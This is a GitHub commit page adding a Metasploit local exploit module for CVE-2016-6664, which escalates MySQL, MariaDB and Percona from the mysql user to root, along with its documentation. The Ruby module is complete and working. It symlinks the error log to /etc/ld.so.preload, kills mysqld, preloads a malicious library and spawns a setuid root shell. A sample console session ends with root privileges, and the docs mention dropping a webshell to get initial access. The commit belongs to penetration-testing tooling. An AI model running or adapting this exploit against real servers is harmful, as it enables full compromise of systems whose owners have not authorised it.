Skip to content

Commit 92a1c1e

Browse files
author
Brent Cook
committed
Land rapid7#7605, Mysql privilege escalation, CVE-2016-6664
2 parents 9b16cdf + 6f70323 commit 92a1c1e

File tree

3 files changed

+343
-0
lines changed

3 files changed

+343
-0
lines changed
8.05 KB
Binary file not shown.
Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
2+
## Notes
3+
4+
This exploit was tested on ubuntu 14 and 16. As it relies on log file location and service restarting, success on other linux distributions depends greatly.
5+
6+
## Creating A Testing Environment
7+
8+
There are a few requirements for this module to work:
9+
10+
1. mysql must be started by running mysql_safe
11+
2. the error log must be active
12+
3. mysql logging through syslog must not enabled
13+
4. mysql automatic restart must be enabled
14+
15+
Using Ubuntu 16.04:
16+
17+
1. install mariadb - `apt-get -y install mariadb-server`
18+
2. disable syslog - `sed -i -e "s/syslog/#syslog/g" /etc/mysql/mariadb.conf.d/50-mysqld_safe.cnf`
19+
3. enable error log - `sed -i -e "s/skip_log_error/#skip_log_error/g" /etc/mysql/mariadb.conf.d/50-mysqld_safe.cnf`
20+
4. enable service - `systemctl enable mysql.service`
21+
5. start service - `systemctl start mysql.service`
22+
23+
This module has been tested against the following versions of mysql running on Ubuntu 16.04:
24+
25+
1. MariaDB 10.0.27
26+
27+
On Ubuntu 14.04:
28+
29+
1. MySQL 5.5.35
30+
2. MariaDB 5.5.52
31+
32+
On Debian 8.6
33+
34+
1. MySQL 5.5.53
35+
36+
This module was not tested against, but may work against:
37+
38+
* MySQL
39+
<= 5.5.51
40+
<= 5.6.32
41+
<= 5.7.14
42+
43+
* MariaDB
44+
<= 5.5.50
45+
46+
* Percona Server
47+
< 5.5.51-38.2
48+
< 5.6.32-78-1
49+
< 5.7.14-8
50+
51+
* Percona XtraDB Cluster
52+
< 5.6.32-25.17
53+
< 5.7.14-26.17
54+
< 5.5.41-37.0
55+
56+
## Verification Steps
57+
58+
1. Start msfconsole
59+
2. Exploit a box via whatever method
60+
4. Do: `use exploit/linux/local/mysql_priv_esc`
61+
5. Do: `set session #`
62+
6. Do: `set verbose true`
63+
7. Do: `exploit`
64+
65+
## Options
66+
67+
**WritableDir**
68+
69+
A folder we can write files to. Defaults to /tmp
70+
71+
**ErrorLog**
72+
73+
The mysql service error log file. The location of this file is set on the configuration files. Defaults to /var/log/mysql/error.log
74+
75+
**BackdoorShell**
76+
77+
The shell that will be launched using elevated privileges. Defaults to /bin/bash
78+
79+
**COMPILE**
80+
81+
If we should live compile on the system, or drop pre-created binaries. `Auto` will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto`
82+
83+
## Scenarios
84+
85+
### Ubuntu 16.04 (with Linux 4.4.0-21-generic)
86+
### MariaDB 10.0.27 (MariaDB-0ubuntu0.16.04.1)
87+
88+
#### Initial Access
89+
90+
Use whatever means to get a session back to metaploit ith the mysql account, usually dropping a webshell, connecting back to metaploit and escalate to mysql.
91+
92+
#### Escalate to root
93+
94+
msf exploit(mysql_priv_esc) >
95+
[*] Sending stage (36 bytes) to 192.168.205.64
96+
[*] Command shell session 45 opened (192.168.205.52:443 -> 192.168.205.64:51400) at 2016-11-16 21:44:16 +0000
97+
98+
msf exploit(mysql_priv_esc) > set session 45
99+
session => 45
100+
msf exploit(mysql_priv_esc) > run
101+
102+
[+] mysqld_safe is running
103+
[+] The current user is mysql
104+
[*] Checking if gcc are installed
105+
[*] Checking if gcc are installed
106+
[*] Dropping pre-compiled exploit on system
107+
[*] Writing privesclib to /tmp/fYAMgzW5.so
108+
[*] Max line length is 65537
109+
[*] Writing 8240 bytes in 1 chunks of 19877 bytes (octal-encoded), using printf
110+
[*] Seting up the preload trap
111+
[*] cp /bin/bash /tmp/mysqlrootsh
112+
[*] touch -f /var/log/mysql/error.log; mv /var/log/mysql/error.log /var/log/mysql/error.log.tmp && ln -s /etc/ld.so.preload /var/log/mysql/error.log
113+
[*] kill $(pgrep mysqld)
114+
[*] /bin//sh: 27: kill: Operation not permitted
115+
116+
[*] Waiting for mysqld to restart...
117+
[*] Executing escalation.
118+
[*] echo /tmp/fYAMgzW5.so > /etc/ld.so.preload
119+
[*] chmod 755 /etc/ld.so.preload
120+
[*] /usr/bin/sudo 2>/dev/null >/dev/null
121+
[*] /tmp/mysqlrootsh -p -c "rm -f /etc/ld.so.preload; rm -f /tmp/fYAMgzW5.so"
122+
[*] /tmp/mysqlrootsh -p
123+
[*] Cleanup done.
124+
[!] This exploit may require manual cleanup of '/tmp/mysqlrootsh' on the target
125+
msf exploit(mysql_priv_esc) > sessions -i 45 -c "id"
126+
[*] Running 'id' on shell session 45 (192.168.205.64)
127+
uid=112(mysql) gid=121(mysql) euid=0(root) groups=121(mysql)
Lines changed: 216 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,216 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require "msf/core"
7+
8+
class MetasploitModule < Msf::Exploit::Local
9+
Rank = GoodRanking
10+
11+
include Msf::Post::Common
12+
include Msf::Post::File
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'MySQL / MariaDB / Percona - Root Privilege Escalation',
19+
'Description' => %q{
20+
MySQL-based databases including MySQL, MariaDB and Percona are affected
21+
by a privilege escalation vulnerability which can let attackers who have
22+
gained access to mysql system user to further escalate their privileges
23+
to root user allowing them to fully compromise the system.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'x2020 <[email protected]>', # Module
29+
'Dawid Golunski' # Discovery
30+
],
31+
'DisclosureDate' => 'Nov 01 2016',
32+
'Platform' => [ 'linux'],
33+
'SessionTypes' => ['shell', 'meterpreter'],
34+
'Targets' => [ ['Automatic', {}] ],
35+
'DefaultTarget' => 0,
36+
'DefaultOptions' =>
37+
{
38+
'DisablePayloadHandler' => true
39+
},
40+
'References' =>
41+
[
42+
[ 'EDB', '40679'],
43+
[ 'CVE', '2016-6664'],
44+
[ 'URL', 'https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html']
45+
]
46+
))
47+
register_options(
48+
[
49+
OptString.new('ErrorLog', [ true, 'The error log file', '/var/log/mysql/error.log' ]),
50+
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
51+
OptString.new('BackdoorShell', [ true, 'The shell path', '/bin/bash' ]),
52+
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
53+
], self.class)
54+
end
55+
56+
def check
57+
58+
def check_reqs?()
59+
# should have mysqld_safe running
60+
check_command = "if pgrep mysqld; "
61+
check_command << "then echo OK; "
62+
check_command << "fi"
63+
output = cmd_exec(check_command).gsub("\r", '')
64+
vprint_status output
65+
if output['OK'] == 'OK'
66+
vprint_good "mysqld_safe is running"
67+
return true
68+
end
69+
print_error "mysqld process not running"
70+
false
71+
end
72+
73+
def mysql_user?()
74+
# test for mysql user
75+
mysql = cmd_exec("id | grep -E '(mysql)'")
76+
if not mysql.include?("mysql")
77+
print_error "The current session user (#{mysql}) is not mysql"
78+
return false
79+
end
80+
vprint_good "The current user is mysql"
81+
true
82+
end
83+
84+
def preload_exists?()
85+
if exists?("/etc/ld.so.preload")
86+
print_error "Found ld.so.preload. Exiting for safety."
87+
return true
88+
end
89+
false
90+
end
91+
92+
def sudo_exists?()
93+
@sudo = cmd_exec('which sudo')
94+
if @sudo.include?("sudo")
95+
return true
96+
end
97+
false
98+
end
99+
100+
if check_reqs? and mysql_user? and sudo_exists?
101+
if preload_exists?
102+
return CheckCode::Detected
103+
end
104+
return CheckCode::Appears
105+
end
106+
107+
CheckCode::Safe
108+
end
109+
110+
def exploit
111+
112+
if check != CheckCode::Appears
113+
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
114+
end
115+
116+
# first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
117+
def has_prereqs?()
118+
vprint_status('Checking if gcc is installed')
119+
if target.name == "Ubuntu"
120+
gcc = cmd_exec('which gcc')
121+
if gcc.include?('gcc')
122+
vprint_good('gcc is installed')
123+
else
124+
print_error('gcc is not installed. Compiling will fail.')
125+
end
126+
return gcc.include?('gcc')
127+
else
128+
return false
129+
end
130+
end
131+
132+
compile = has_prereqs?
133+
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
134+
if has_prereqs?()
135+
compile = true
136+
vprint_status('Live compiling exploit on system')
137+
else
138+
vprint_status('Dropping pre-compiled exploit on system')
139+
end
140+
end
141+
142+
# build file names and locations
143+
privesclib_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + ".so"
144+
privescsrc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + ".c"
145+
pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
146+
payload_path = datastore["WritableDir"] + "/" + rand_text_alpha(8)
147+
backdoorsh = datastore["BackdoorShell"]
148+
backdoorpath = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
149+
error_log_file = datastore["ErrorLog"]
150+
151+
# setup the files
152+
rm_f pwn_file
153+
if compile
154+
vprint_status "Writing pwn source to #{privescsrc_file}"
155+
rm_f privescsrc_file
156+
write_file(privescsrc_file, privesclib_file)
157+
cmd_exec("gcc -Wall -fPIC -shared -o #{privesclib_file} #{privescsrc_file} -ldl")
158+
register_file_for_cleanup(privescsrc_file)
159+
else
160+
# privesclib.so file
161+
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-6664', '2016-6664.out')
162+
fd = ::File.open( path, "rb")
163+
privesclib = fd.read(fd.stat.size)
164+
fd.close
165+
vprint_status "Writing privesclib to #{privesclib_file}"
166+
backdoorpath = "/tmp/mysqlrootsh" # hardcoded into privesclib.so
167+
write_file(privesclib_file, privesclib)
168+
end
169+
register_file_for_cleanup(backdoorpath)
170+
register_file_for_cleanup(privesclib_file)
171+
172+
# the actual pwning
173+
def do_pwn(privesclib_file, suidbin, backdoorpath, payload_path)
174+
print_status "Executing escalation."
175+
do_cmd_exec("echo #{privesclib_file} > /etc/ld.so.preload")
176+
do_cmd_exec("chmod 755 /etc/ld.so.preload")
177+
do_cmd_exec("#{suidbin} 2>/dev/null >/dev/null")
178+
do_cmd_exec("#{backdoorpath} -p -c \"rm -f /etc/ld.so.preload; rm -f #{privesclib_file}\"")
179+
do_cmd_exec("#{backdoorpath} -p")
180+
end
181+
182+
# reset system state
183+
def do_cleanup(error_log_file)
184+
cmd_exec("rm -f #{error_log_file}")
185+
cmd_exec("mv -f #{error_log_file}.tmp #{error_log_file}")
186+
cmd_exec("if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload; fi")
187+
vprint_status "Cleanup done."
188+
end
189+
190+
# util cmd_exec with verbose print
191+
def do_cmd_exec(cmd)
192+
vprint_status cmd
193+
r = cmd_exec(cmd)
194+
if r != ""
195+
print_status r
196+
end
197+
end
198+
199+
# initial setup for pwning
200+
vprint_status "Seting up the preload trap"
201+
do_cmd_exec("cp #{backdoorsh} #{backdoorpath}")
202+
do_cmd_exec("touch -f #{error_log_file}; mv #{error_log_file} #{error_log_file}.tmp && ln -s /etc/ld.so.preload #{error_log_file}")
203+
do_cmd_exec("kill $(pgrep mysqld)")
204+
205+
# wait for restart
206+
print_status "Waiting for mysqld to restart..."
207+
cmd_exec("while :; do { sleep 0.1; if [ -f /etc/ld.so.preload ]; then { echo #{privesclib_file} > /etc/ld.so.preload; rm -f #{error_log_file}; break; } fi } done", nil, 125)
208+
209+
# pwn the system
210+
do_pwn(privesclib_file, @sudo, backdoorpath, payload_path)
211+
212+
# cleanup the mess
213+
do_cleanup(error_log_file)
214+
215+
end
216+
end

0 commit comments

Comments
 (0)